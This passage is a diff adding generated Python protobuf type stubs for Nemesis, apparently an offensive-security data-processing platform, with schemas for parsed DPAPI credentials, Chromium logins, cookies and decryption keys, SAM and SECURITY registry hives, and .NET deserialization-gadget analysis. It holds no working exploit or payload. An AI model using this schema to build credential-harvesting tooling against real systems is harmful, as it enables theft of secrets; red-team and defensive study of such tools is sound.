+
+ DATA_FIELD_NUMBER: builtins.int
+ data: builtins.str
+ def __init__(
+ self,
+ *,
+ data: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data"]) -> None: ...
+
+global___RawParsedData = RawParsedData
+
+@typing_extensions.final
+class DpapiCredentialAttribute(google.protobuf.message.Message):
+ """not yet used
+ https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/impacket/dpapi.py#L850-L862
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ FLAGS_FIELD_NUMBER: builtins.int
+ KEYWORD_FIELD_NUMBER: builtins.int
+ DATA_FIELD_NUMBER: builtins.int
+ flags: builtins.int
+ keyword: builtins.str
+ data: builtins.bytes
+ def __init__(
+ self,
+ *,
+ flags: builtins.int = ...,
+ keyword: builtins.str = ...,
+ data: builtins.bytes = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["data", b"data", "flags", b"flags", "keyword", b"keyword"]) -> None: ...
+
+global___DpapiCredentialAttribute = DpapiCredentialAttribute
+
+@typing_extensions.final
+class DpapiCredentialFile(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ class _CREDENTIAL_FLAGS:
+ ValueType = typing.NewType("ValueType", builtins.int)
+ V: typing_extensions.TypeAlias = ValueType
+
+ class _CREDENTIAL_FLAGSEnumTypeWrapper(google.protobuf.internal.enum_type_wrapper._EnumTypeWrapper[DpapiCredentialFile._CREDENTIAL_FLAGS.ValueType], builtins.type): # noqa: F821
+ DESCRIPTOR: google.protobuf.descriptor.EnumDescriptor
+ CRED_FALGS_UNKNOWN: DpapiCredentialFile._CREDENTIAL_FLAGS.ValueType # 0
+ CRED_FLAGS_PASSWORD_FOR_CERT: DpapiCredentialFile._CREDENTIAL_FLAGS.ValueType # 1
+ CRED_FLAGS_PROMPT_NOW: DpapiCredentialFile._CREDENTIAL_FLAGS.ValueType # 2
+ CRED_FLAGS_USERNAME_TARGET: DpapiCredentialFile._CREDENTIAL_FLAGS.ValueType # 4
+ CRED_FLAGS_OWF_CRED_BLOB: DpapiCredentialFile._CREDENTIAL_FLAGS.ValueType # 8
+ CRED_FLAGS_REQUIRE_CONFIRMATION: DpapiCredentialFile._CREDENTIAL_FLAGS.ValueType # 16
+ CRED_FLAGS_WILDCARD_MATCH: DpapiCredentialFile._CREDENTIAL_FLAGS.ValueType # 32
+ CRED_FLAGS_VSM_PROTECTED: DpapiCredentialFile._CREDENTIAL_FLAGS.ValueType # 64
+ CRED_FLAGS_NGC_CERT: DpapiCredentialFile._CREDENTIAL_FLAGS.ValueType # 128
+
+ class CREDENTIAL_FLAGS(_CREDENTIAL_FLAGS, metaclass=_CREDENTIAL_FLAGSEnumTypeWrapper):
+ """https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/impacket/dpapi.py#L196-L204"""
+
+ CRED_FALGS_UNKNOWN: DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType # 0
+ CRED_FLAGS_PASSWORD_FOR_CERT: DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType # 1
+ CRED_FLAGS_PROMPT_NOW: DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType # 2
+ CRED_FLAGS_USERNAME_TARGET: DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType # 4
+ CRED_FLAGS_OWF_CRED_BLOB: DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType # 8
+ CRED_FLAGS_REQUIRE_CONFIRMATION: DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType # 16
+ CRED_FLAGS_WILDCARD_MATCH: DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType # 32
+ CRED_FLAGS_VSM_PROTECTED: DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType # 64
+ CRED_FLAGS_NGC_CERT: DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType # 128
+
+ class _CREDENTIAL_PERSIST:
+ ValueType = typing.NewType("ValueType", builtins.int)
+ V: typing_extensions.TypeAlias = ValueType
+
+ class _CREDENTIAL_PERSISTEnumTypeWrapper(google.protobuf.internal.enum_type_wrapper._EnumTypeWrapper[DpapiCredentialFile._CREDENTIAL_PERSIST.ValueType], builtins.type): # noqa: F821
+ DESCRIPTOR: google.protobuf.descriptor.EnumDescriptor
+ CRED_PERSIST_NONE: DpapiCredentialFile._CREDENTIAL_PERSIST.ValueType # 0
+ CRED_PERSIST_SESSION: DpapiCredentialFile._CREDENTIAL_PERSIST.ValueType # 1
+ CRED_PERSIST_LOCAL_MACHINE: DpapiCredentialFile._CREDENTIAL_PERSIST.ValueType # 2
+ CRED_PERSIST_ENTERPRISE: DpapiCredentialFile._CREDENTIAL_PERSIST.ValueType # 3
+
+ class CREDENTIAL_PERSIST(_CREDENTIAL_PERSIST, metaclass=_CREDENTIAL_PERSISTEnumTypeWrapper):
+ """https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/impacket/dpapi.py#L216-L220"""
+
+ CRED_PERSIST_NONE: DpapiCredentialFile.CREDENTIAL_PERSIST.ValueType # 0
+ CRED_PERSIST_SESSION: DpapiCredentialFile.CREDENTIAL_PERSIST.ValueType # 1
+ CRED_PERSIST_LOCAL_MACHINE: DpapiCredentialFile.CREDENTIAL_PERSIST.ValueType # 2
+ CRED_PERSIST_ENTERPRISE: DpapiCredentialFile.CREDENTIAL_PERSIST.ValueType # 3
+
+ class _CREDENTIAL_TYPE:
+ ValueType = typing.NewType("ValueType", builtins.int)
+ V: typing_extensions.TypeAlias = ValueType
+
+ class _CREDENTIAL_TYPEEnumTypeWrapper(google.protobuf.internal.enum_type_wrapper._EnumTypeWrapper[DpapiCredentialFile._CREDENTIAL_TYPE.ValueType], builtins.type): # noqa: F821
+ DESCRIPTOR: google.protobuf.descriptor.EnumDescriptor
+ CRED_TYPE_UNKNOWN: DpapiCredentialFile._CREDENTIAL_TYPE.ValueType # 0
+ CRED_TYPE_GENERIC: DpapiCredentialFile._CREDENTIAL_TYPE.ValueType # 1
+ CRED_TYPE_DOMAIN_PASSWORD: DpapiCredentialFile._CREDENTIAL_TYPE.ValueType # 2
+ CRED_TYPE_DOMAIN_CERTIFICATE: DpapiCredentialFile._CREDENTIAL_TYPE.ValueType # 3
+ CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: DpapiCredentialFile._CREDENTIAL_TYPE.ValueType # 4
+ CRED_TYPE_GENERIC_CERTIFICATE: DpapiCredentialFile._CREDENTIAL_TYPE.ValueType # 5
+ CRED_TYPE_DOMAIN_EXTENDED: DpapiCredentialFile._CREDENTIAL_TYPE.ValueType # 6
+ CRED_TYPE_MAXIMUM: DpapiCredentialFile._CREDENTIAL_TYPE.ValueType # 7
+ CRED_TYPE_MAXIMUM_EX: DpapiCredentialFile._CREDENTIAL_TYPE.ValueType # 8
+
+ class CREDENTIAL_TYPE(_CREDENTIAL_TYPE, metaclass=_CREDENTIAL_TYPEEnumTypeWrapper):
+ """https://github.com/fortra/impacket/blob/8799a1a2c42ad74423841d21ed5f4193ea54f3d5/impacket/dpapi.py#L206=L214"""
+
+ CRED_TYPE_UNKNOWN: DpapiCredentialFile.CREDENTIAL_TYPE.ValueType # 0
+ CRED_TYPE_GENERIC: DpapiCredentialFile.CREDENTIAL_TYPE.ValueType # 1
+ CRED_TYPE_DOMAIN_PASSWORD: DpapiCredentialFile.CREDENTIAL_TYPE.ValueType # 2
+ CRED_TYPE_DOMAIN_CERTIFICATE: DpapiCredentialFile.CREDENTIAL_TYPE.ValueType # 3
+ CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: DpapiCredentialFile.CREDENTIAL_TYPE.ValueType # 4
+ CRED_TYPE_GENERIC_CERTIFICATE: DpapiCredentialFile.CREDENTIAL_TYPE.ValueType # 5
+ CRED_TYPE_DOMAIN_EXTENDED: DpapiCredentialFile.CREDENTIAL_TYPE.ValueType # 6
+ CRED_TYPE_MAXIMUM: DpapiCredentialFile.CREDENTIAL_TYPE.ValueType # 7
+ CRED_TYPE_MAXIMUM_EX: DpapiCredentialFile.CREDENTIAL_TYPE.ValueType # 8
+
+ DPAPI_BLOB_ID_FIELD_NUMBER: builtins.int
+ LAST_WRITTEN_FIELD_NUMBER: builtins.int
+ FLAGS_FIELD_NUMBER: builtins.int
+ PERSIST_FIELD_NUMBER: builtins.int
+ TYPE_FIELD_NUMBER: builtins.int
+ COMMENT_FIELD_NUMBER: builtins.int
+ TARGET_FIELD_NUMBER: builtins.int
+ TARGET_ALIAS_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ CREDENTIAL_FIELD_NUMBER: builtins.int
+ CREDENTIAL_ATTRIBUTE_FIELD_NUMBER: builtins.int
+ dpapi_blob_id: builtins.str
+ """unique identifier of the carved DPAPI blob ID that decrypts to the data below
+ TODO: how to exactly handle this being decrypted?
+ """
+ @property
+ def last_written(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ flags: global___DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType
+ persist: global___DpapiCredentialFile.CREDENTIAL_PERSIST.ValueType
+ type: global___DpapiCredentialFile.CREDENTIAL_TYPE.ValueType
+ comment: builtins.str
+ target: builtins.str
+ target_alias: builtins.str
+ username: builtins.str
+ credential: builtins.str
+ @property
+ def credential_attribute(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___DpapiCredentialAttribute]: ...
+ def __init__(
+ self,
+ *,
+ dpapi_blob_id: builtins.str = ...,
+ last_written: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ flags: global___DpapiCredentialFile.CREDENTIAL_FLAGS.ValueType = ...,
+ persist: global___DpapiCredentialFile.CREDENTIAL_PERSIST.ValueType = ...,
+ type: global___DpapiCredentialFile.CREDENTIAL_TYPE.ValueType = ...,
+ comment: builtins.str = ...,
+ target: builtins.str = ...,
+ target_alias: builtins.str = ...,
+ username: builtins.str = ...,
+ credential: builtins.str = ...,
+ credential_attribute: collections.abc.Iterable[global___DpapiCredentialAttribute] | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["last_written", b"last_written"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["comment", b"comment", "credential", b"credential", "credential_attribute", b"credential_attribute", "dpapi_blob_id", b"dpapi_blob_id", "flags", b"flags", "last_written", b"last_written", "persist", b"persist", "target", b"target", "target_alias", b"target_alias", "type", b"type", "username", b"username"]) -> None: ...
+
+global___DpapiCredentialFile = DpapiCredentialFile
+
+@typing_extensions.final
+class ChromiumHistoryFile(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USER_DATA_DIRECTORY_FIELD_NUMBER: builtins.int
+ BROWSER_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ URLS_COUNT_FIELD_NUMBER: builtins.int
+ DOWNLOADS_COUNT_FIELD_NUMBER: builtins.int
+ user_data_directory: builtins.str
+ browser: builtins.str
+ username: builtins.str
+ urls_count: builtins.int
+ downloads_count: builtins.int
+ def __init__(
+ self,
+ *,
+ user_data_directory: builtins.str = ...,
+ browser: builtins.str = ...,
+ username: builtins.str = ...,
+ urls_count: builtins.int = ...,
+ downloads_count: builtins.int = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["browser", b"browser", "downloads_count", b"downloads_count", "urls_count", b"urls_count", "user_data_directory", b"user_data_directory", "username", b"username"]) -> None: ...
+
+global___ChromiumHistoryFile = ChromiumHistoryFile
+
+@typing_extensions.final
+class ChromiumLoginsFile(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USER_DATA_DIRECTORY_FIELD_NUMBER: builtins.int
+ BROWSER_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ LOGINS_COUNT_FIELD_NUMBER: builtins.int
+ user_data_directory: builtins.str
+ browser: builtins.str
+ username: builtins.str
+ logins_count: builtins.int
+ def __init__(
+ self,
+ *,
+ user_data_directory: builtins.str = ...,
+ browser: builtins.str = ...,
+ username: builtins.str = ...,
+ logins_count: builtins.int = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["browser", b"browser", "logins_count", b"logins_count", "user_data_directory", b"user_data_directory", "username", b"username"]) -> None: ...
+
+global___ChromiumLoginsFile = ChromiumLoginsFile
+
+@typing_extensions.final
+class ChromiumCookiesFile(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USER_DATA_DIRECTORY_FIELD_NUMBER: builtins.int
+ BROWSER_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ COOKIES_COUNT_FIELD_NUMBER: builtins.int
+ user_data_directory: builtins.str
+ browser: builtins.str
+ username: builtins.str
+ cookies_count: builtins.int
+ def __init__(
+ self,
+ *,
+ user_data_directory: builtins.str = ...,
+ browser: builtins.str = ...,
+ username: builtins.str = ...,
+ cookies_count: builtins.int = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["browser", b"browser", "cookies_count", b"cookies_count", "user_data_directory", b"user_data_directory", "username", b"username"]) -> None: ...
+
+global___ChromiumCookiesFile = ChromiumCookiesFile
+
+@typing_extensions.final
+class ChromiumStateFile(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ USER_DATA_DIRECTORY_FIELD_NUMBER: builtins.int
+ BROWSER_FIELD_NUMBER: builtins.int
+ USERNAME_FIELD_NUMBER: builtins.int
+ INSTALLATION_DATE_FIELD_NUMBER: builtins.int
+ LAUNCH_COUNT_FIELD_NUMBER: builtins.int
+ MASTERKEY_GUID_FIELD_NUMBER: builtins.int
+ KEY_BYTES_ENC_FIELD_NUMBER: builtins.int
+ APP_BOUND_FIXED_DATA_ENC_FIELD_NUMBER: builtins.int
+ IS_DECRYPTED_FIELD_NUMBER: builtins.int
+ KEY_BYTES_DEC_FIELD_NUMBER: builtins.int
+ APP_BOUND_FIXED_DATA_DEC_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ user_data_directory: builtins.str
+ browser: builtins.str
+ username: builtins.str
+ @property
+ def installation_date(self) -> google.protobuf.timestamp_pb2.Timestamp: ...
+ launch_count: builtins.int
+ masterkey_guid: builtins.str
+ key_bytes_enc: builtins.bytes
+ app_bound_fixed_data_enc: builtins.bytes
+ is_decrypted: builtins.bool
+ key_bytes_dec: builtins.bytes
+ app_bound_fixed_data_dec: builtins.bytes
+ originating_object_id: builtins.str
+ def __init__(
+ self,
+ *,
+ user_data_directory: builtins.str = ...,
+ browser: builtins.str = ...,
+ username: builtins.str = ...,
+ installation_date: google.protobuf.timestamp_pb2.Timestamp | None = ...,
+ launch_count: builtins.int = ...,
+ masterkey_guid: builtins.str = ...,
+ key_bytes_enc: builtins.bytes = ...,
+ app_bound_fixed_data_enc: builtins.bytes = ...,
+ is_decrypted: builtins.bool = ...,
+ key_bytes_dec: builtins.bytes = ...,
+ app_bound_fixed_data_dec: builtins.bytes = ...,
+ originating_object_id: builtins.str = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["installation_date", b"installation_date"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["app_bound_fixed_data_dec", b"app_bound_fixed_data_dec", "app_bound_fixed_data_enc", b"app_bound_fixed_data_enc", "browser", b"browser", "installation_date", b"installation_date", "is_decrypted", b"is_decrypted", "key_bytes_dec", b"key_bytes_dec", "key_bytes_enc", b"key_bytes_enc", "launch_count", b"launch_count", "masterkey_guid", b"masterkey_guid", "originating_object_id", b"originating_object_id", "user_data_directory", b"user_data_directory", "username", b"username"]) -> None: ...
+
+global___ChromiumStateFile = ChromiumStateFile
+
+@typing_extensions.final
+class EvtxFile(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ CONVERTED_CSV_FIELD_NUMBER: builtins.int
+ CONVERTED_JSON_FIELD_NUMBER: builtins.int
+ ORIGINATING_OBJECT_ID_FIELD_NUMBER: builtins.int
+ converted_csv: builtins.str
+ """Nemesis UUID"""
+ converted_json: builtins.str
+ """Nemesis UUID"""
+ originating_object_id: builtins.str
+ """Nemesis UUID"""
+ def __init__(
+ self,
+ *,
+ converted_csv: builtins.str = ...,
+ converted_json: builtins.str = ...,
+ originating_object_id: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["converted_csv", b"converted_csv", "converted_json", b"converted_json", "originating_object_id", b"originating_object_id"]) -> None: ...
+
+global___EvtxFile = EvtxFile
+
+@typing_extensions.final
+class ParsedData(google.protobuf.message.Message):
+ """Represents any file data type specifically parsed by Nemesis
+ This is the container for the above section of messages
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ ERROR_FIELD_NUMBER: builtins.int
+ PE_FIELD_NUMBER: builtins.int
+ DOTNET_ASSEMBLY_FIELD_NUMBER: builtins.int
+ PASSWD_FIELD_NUMBER: builtins.int
+ SHADOW_FIELD_NUMBER: builtins.int
+ OFFICE_DOC_NEW_FIELD_NUMBER: builtins.int
+ OFFICE_DOC_OLE_FIELD_NUMBER: builtins.int
+ PDF_FIELD_NUMBER: builtins.int
+ GROUP_POLICY_PREFERENCES_FIELD_NUMBER: builtins.int
+ MCAFEE_SITELIST_FIELD_NUMBER: builtins.int
+ WEB_CONFIG_FIELD_NUMBER: builtins.int
+ APPSETTINGS_FIELD_NUMBER: builtins.int
+ TOMCAT_FIELD_NUMBER: builtins.int
+ ARCHIVE_FIELD_NUMBER: builtins.int
+ LNK_FIELD_NUMBER: builtins.int
+ RAW_PARSED_DATA_FIELD_NUMBER: builtins.int
+ DPAPI_MASTERKEY_FIELD_NUMBER: builtins.int
+ DPAPI_CREDENTIAL_FIELD_NUMBER: builtins.int
+ CHROMIUM_HISTORY_FIELD_NUMBER: builtins.int
+ CHROMIUM_LOGINS_FIELD_NUMBER: builtins.int
+ CHROMIUM_COOKIES_FIELD_NUMBER: builtins.int
+ CHROMIUM_STATE_FILE_FIELD_NUMBER: builtins.int
+ SLACK_DOWNLOADS_FIELD_NUMBER: builtins.int
+ SLACK_WORKSPACES_FIELD_NUMBER: builtins.int
+ REG_HIVE_SYSTEM_FIELD_NUMBER: builtins.int
+ REG_HIVE_SECURITY_FIELD_NUMBER: builtins.int
+ REG_HIVE_SAM_FIELD_NUMBER: builtins.int
+ EVTX_FILE_FIELD_NUMBER: builtins.int
+ HAS_PARSED_CREDENTIALS_FIELD_NUMBER: builtins.int
+ IS_ENCRYPTED_FIELD_NUMBER: builtins.int
+ error: builtins.str
+ @property
+ def pe(self) -> global___Pe: ...
+ @property
+ def dotnet_assembly(self) -> global___DotnetAssembly: ...
+ @property
+ def passwd(self) -> global___Passwd: ...
+ @property
+ def shadow(self) -> global___Shadow: ...
+ @property
+ def office_doc_new(self) -> global___OfficeDocNew: ...
+ @property
+ def office_doc_ole(self) -> global___OfficeDocOle: ...
+ @property
+ def pdf(self) -> global___Pdf: ...
+ @property
+ def group_policy_preferences(self) -> global___GroupPolicyPreferences: ...
+ @property
+ def mcafee_sitelist(self) -> global___McafeeSitelist: ...
+ @property
+ def web_config(self) -> global___WebConfig: ...
+ @property
+ def appsettings(self) -> global___AppSettings: ...
+ @property
+ def tomcat(self) -> global___Tomcat: ...
+ @property
+ def archive(self) -> global___Archive: ...
+ @property
+ def lnk(self) -> global___Lnk: ...
+ @property
+ def raw_parsed_data(self) -> global___RawParsedData: ...
+ @property
+ def dpapi_masterkey(self) -> global___DpapiMasterkey: ...
+ @property
+ def dpapi_credential(self) -> global___DpapiCredentialFile:
+ """DpapiVault dpapi_vault = 43;"""
+ @property
+ def chromium_history(self) -> global___ChromiumHistoryFile: ...
+ @property
+ def chromium_logins(self) -> global___ChromiumLoginsFile: ...
+ @property
+ def chromium_cookies(self) -> global___ChromiumCookiesFile: ...
+ @property
+ def chromium_state_file(self) -> global___ChromiumStateFile: ...
+ @property
+ def slack_downloads(self) -> global___SlackDownloads: ...
+ @property
+ def slack_workspaces(self) -> global___SlackWorkspaces: ...
+ @property
+ def reg_hive_system(self) -> global___RegHiveSystem: ...
+ @property
+ def reg_hive_security(self) -> global___RegHiveSecurity: ...
+ @property
+ def reg_hive_sam(self) -> global___RegHiveSam: ...
+ @property
+ def evtx_file(self) -> global___EvtxFile: ...
+ has_parsed_credentials: builtins.bool
+ """true if the parsed data has some kind of hash/password parsed"""
+ is_encrypted: builtins.bool
+ """true if the file is encrypted in some way"""
+ def __init__(
+ self,
+ *,
+ error: builtins.str = ...,
+ pe: global___Pe | None = ...,
+ dotnet_assembly: global___DotnetAssembly | None = ...,
+ passwd: global___Passwd | None = ...,
+ shadow: global___Shadow | None = ...,
+ office_doc_new: global___OfficeDocNew | None = ...,
+ office_doc_ole: global___OfficeDocOle | None = ...,
+ pdf: global___Pdf | None = ...,
+ group_policy_preferences: global___GroupPolicyPreferences | None = ...,
+ mcafee_sitelist: global___McafeeSitelist | None = ...,
+ web_config: global___WebConfig | None = ...,
+ appsettings: global___AppSettings | None = ...,
+ tomcat: global___Tomcat | None = ...,
+ archive: global___Archive | None = ...,
+ lnk: global___Lnk | None = ...,
+ raw_parsed_data: global___RawParsedData | None = ...,
+ dpapi_masterkey: global___DpapiMasterkey | None = ...,
+ dpapi_credential: global___DpapiCredentialFile | None = ...,
+ chromium_history: global___ChromiumHistoryFile | None = ...,
+ chromium_logins: global___ChromiumLoginsFile | None = ...,
+ chromium_cookies: global___ChromiumCookiesFile | None = ...,
+ chromium_state_file: global___ChromiumStateFile | None = ...,
+ slack_downloads: global___SlackDownloads | None = ...,
+ slack_workspaces: global___SlackWorkspaces | None = ...,
+ reg_hive_system: global___RegHiveSystem | None = ...,
+ reg_hive_security: global___RegHiveSecurity | None = ...,
+ reg_hive_sam: global___RegHiveSam | None = ...,
+ evtx_file: global___EvtxFile | None = ...,
+ has_parsed_credentials: builtins.bool = ...,
+ is_encrypted: builtins.bool = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["appsettings", b"appsettings", "archive", b"archive", "chromium_cookies", b"chromium_cookies", "chromium_history", b"chromium_history", "chromium_logins", b"chromium_logins", "chromium_state_file", b"chromium_state_file", "data_type", b"data_type", "dotnet_assembly", b"dotnet_assembly", "dpapi_credential", b"dpapi_credential", "dpapi_masterkey", b"dpapi_masterkey", "error", b"error", "evtx_file", b"evtx_file", "group_policy_preferences", b"group_policy_preferences", "lnk", b"lnk", "mcafee_sitelist", b"mcafee_sitelist", "office_doc_new", b"office_doc_new", "office_doc_ole", b"office_doc_ole", "passwd", b"passwd", "pdf", b"pdf", "pe", b"pe", "raw_parsed_data", b"raw_parsed_data", "reg_hive_sam", b"reg_hive_sam", "reg_hive_security", b"reg_hive_security", "reg_hive_system", b"reg_hive_system", "shadow", b"shadow", "slack_downloads", b"slack_downloads", "slack_workspaces", b"slack_workspaces", "tomcat", b"tomcat", "web_config", b"web_config"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["appsettings", b"appsettings", "archive", b"archive", "chromium_cookies", b"chromium_cookies", "chromium_history", b"chromium_history", "chromium_logins", b"chromium_logins", "chromium_state_file", b"chromium_state_file", "data_type", b"data_type", "dotnet_assembly", b"dotnet_assembly", "dpapi_credential", b"dpapi_credential", "dpapi_masterkey", b"dpapi_masterkey", "error", b"error", "evtx_file", b"evtx_file", "group_policy_preferences", b"group_policy_preferences", "has_parsed_credentials", b"has_parsed_credentials", "is_encrypted", b"is_encrypted", "lnk", b"lnk", "mcafee_sitelist", b"mcafee_sitelist", "office_doc_new", b"office_doc_new", "office_doc_ole", b"office_doc_ole", "passwd", b"passwd", "pdf", b"pdf", "pe", b"pe", "raw_parsed_data", b"raw_parsed_data", "reg_hive_sam", b"reg_hive_sam", "reg_hive_security", b"reg_hive_security", "reg_hive_system", b"reg_hive_system", "shadow", b"shadow", "slack_downloads", b"slack_downloads", "slack_workspaces", b"slack_workspaces", "tomcat", b"tomcat", "web_config", b"web_config"]) -> None: ...
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["data_type", b"data_type"]) -> typing_extensions.Literal["error", "pe", "dotnet_assembly", "passwd", "shadow", "office_doc_new", "office_doc_ole", "pdf", "group_policy_preferences", "mcafee_sitelist", "web_config", "appsettings", "tomcat", "archive", "lnk", "raw_parsed_data", "dpapi_masterkey", "dpapi_credential", "chromium_history", "chromium_logins", "chromium_cookies", "chromium_state_file", "slack_downloads", "slack_workspaces", "reg_hive_system", "reg_hive_security", "reg_hive_sam", "evtx_file"] | None: ...
+
+global___ParsedData = ParsedData
+
+@typing_extensions.final
+class DotnetAnalysis(google.protobuf.message.Message):
+ """//////////////////////////////////////////////////
+
+ Analysis messages
+
+ //////////////////////////////////////////////////
+ """
+
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ @typing_extensions.final
+ class GadgetCall(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ GADGET_NAME_FIELD_NUMBER: builtins.int
+ METHOD_NAME_FIELD_NUMBER: builtins.int
+ FILTER_LEVEL_FIELD_NUMBER: builtins.int
+ gadget_name: builtins.str
+ method_name: builtins.str
+ filter_level: builtins.str
+ def __init__(
+ self,
+ *,
+ gadget_name: builtins.str = ...,
+ method_name: builtins.str = ...,
+ filter_level: builtins.str = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["filter_level", b"filter_level", "gadget_name", b"gadget_name", "method_name", b"method_name"]) -> None: ...
+
+ HAS_DESERIALIZATION_FIELD_NUMBER: builtins.int
+ HAS_CMD_EXECUTION_FIELD_NUMBER: builtins.int
+ HAS_REMOTING_FIELD_NUMBER: builtins.int
+ REMOTING_CHANNELS_FIELD_NUMBER: builtins.int
+ IS_WCF_SERVER_FIELD_NUMBER: builtins.int
+ IS_WCF_CLIENT_FIELD_NUMBER: builtins.int
+ SERIALIZATION_GADGET_CALLS_FIELD_NUMBER: builtins.int
+ WCF_SERVER_CALLS_FIELD_NUMBER: builtins.int
+ CLIENT_CALLS_FIELD_NUMBER: builtins.int
+ REMOTING_CALLS_FIELD_NUMBER: builtins.int
+ CMD_EXECUTION_CALLS_FIELD_NUMBER: builtins.int
+ has_deserialization: builtins.bool
+ has_cmd_execution: builtins.bool
+ has_remoting: builtins.bool
+ @property
+ def remoting_channels(self) -> google.protobuf.internal.containers.RepeatedScalarFieldContainer[builtins.str]: ...
+ is_wcf_server: builtins.bool
+ is_wcf_client: builtins.bool
+ @property
+ def serialization_gadget_calls(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___DotnetAnalysis.GadgetCall]: ...
+ @property
+ def wcf_server_calls(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___DotnetAnalysis.GadgetCall]: ...
+ @property
+ def client_calls(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___DotnetAnalysis.GadgetCall]: ...
+ @property
+ def remoting_calls(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___DotnetAnalysis.GadgetCall]: ...
+ @property
+ def cmd_execution_calls(self) -> google.protobuf.internal.containers.RepeatedCompositeFieldContainer[global___DotnetAnalysis.GadgetCall]: ...
+ def __init__(
+ self,
+ *,
+ has_deserialization: builtins.bool = ...,
+ has_cmd_execution: builtins.bool = ...,
+ has_remoting: builtins.bool = ...,
+ remoting_channels: collections.abc.Iterable[builtins.str] | None = ...,
+ is_wcf_server: builtins.bool = ...,
+ is_wcf_client: builtins.bool = ...,
+ serialization_gadget_calls: collections.abc.Iterable[global___DotnetAnalysis.GadgetCall] | None = ...,
+ wcf_server_calls: collections.abc.Iterable[global___DotnetAnalysis.GadgetCall] | None = ...,
+ client_calls: collections.abc.Iterable[global___DotnetAnalysis.GadgetCall] | None = ...,
+ remoting_calls: collections.abc.Iterable[global___DotnetAnalysis.GadgetCall] | None = ...,
+ cmd_execution_calls: collections.abc.Iterable[global___DotnetAnalysis.GadgetCall] | None = ...,
+ ) -> None: ...
+ def ClearField(self, field_name: typing_extensions.Literal["client_calls", b"client_calls", "cmd_execution_calls", b"cmd_execution_calls", "has_cmd_execution", b"has_cmd_execution", "has_deserialization", b"has_deserialization", "has_remoting", b"has_remoting", "is_wcf_client", b"is_wcf_client", "is_wcf_server", b"is_wcf_server", "remoting_calls", b"remoting_calls", "remoting_channels", b"remoting_channels", "serialization_gadget_calls", b"serialization_gadget_calls", "wcf_server_calls", b"wcf_server_calls"]) -> None: ...
+
+global___DotnetAnalysis = DotnetAnalysis
+
+@typing_extensions.final
+class Analysis(google.protobuf.message.Message):
+ DESCRIPTOR: google.protobuf.descriptor.Descriptor
+
+ DOTNET_ANALYSIS_FIELD_NUMBER: builtins.int
+ @property
+ def dotnet_analysis(self) -> global___DotnetAnalysis: ...
+ def __init__(
+ self,
+ *,
+ dotnet_analysis: global___DotnetAnalysis | None = ...,
+ ) -> None: ...
+ def HasField(self, field_name: typing_extensions.Literal["analysis_type", b"analysis_type", "dotnet_analysis", b"dotnet_analysis"]) -> builtins.bool: ...
+ def ClearField(self, field_name: typing_extensions.Literal["analysis_type", b"analysis_type", "dotnet_analysis", b"dotnet_analysis"]) -> None: ...
+ def WhichOneof(self, oneof_group: typing_extensions.Literal["analysis_type", b"analysis_type"]) -> typing_extensions.Literal["dotnet_analysis"] | None: ...
+
+global___Analysis = Analysis
+
+@typing_extensions.final
